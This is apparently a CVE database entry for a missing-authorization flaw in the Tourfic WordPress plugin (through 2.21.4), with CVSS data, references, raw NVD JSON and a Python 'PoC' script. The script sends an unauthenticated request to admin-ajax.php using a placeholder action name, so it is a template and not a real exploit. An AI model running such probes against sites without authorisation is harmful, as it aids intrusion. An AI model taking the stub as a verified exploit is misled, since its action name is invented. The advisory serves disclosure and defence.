CVE-2026-39543

Description

Missing Authorization vulnerability in Themefic Tourfic tourfic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tourfic: from n/a through <= 2.21.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Tourfic <= 2.21.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39543
# This script demonstrates an unauthenticated request to a vulnerable endpoint.

import requests

def check_vulnerability(target_url):
    # The vulnerable endpoint is typically the WordPress AJAX processor
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload targeting the vulnerable action (action name may vary based on analysis)
    payload = {
        "action": "tf_exploit_action",  # Replace with actual vulnerable action name
        "data": "test"
    }
    
    try:
        response = requests.post(ajax_url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check response for unauthorized data access.")
            print(f"Response: {response.text[:100]}")
        else:
            print("[-] Target may not be vulnerable or offline.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39543
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39543
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39543/
[4] VulDB https://vuldb.com/cve/CVE-2026-39543
[5] https://patchstack.com/database/Wordpress/Plugin/tourfic/vulnerability/wordpress-tourfic-plugin-2-21-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39543", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.930", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Themefic Tourfic tourfic allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Tourfic: from n/a through <= 2.21.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tourfic/vulnerability/wordpress-tourfic-plugin-2-21-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}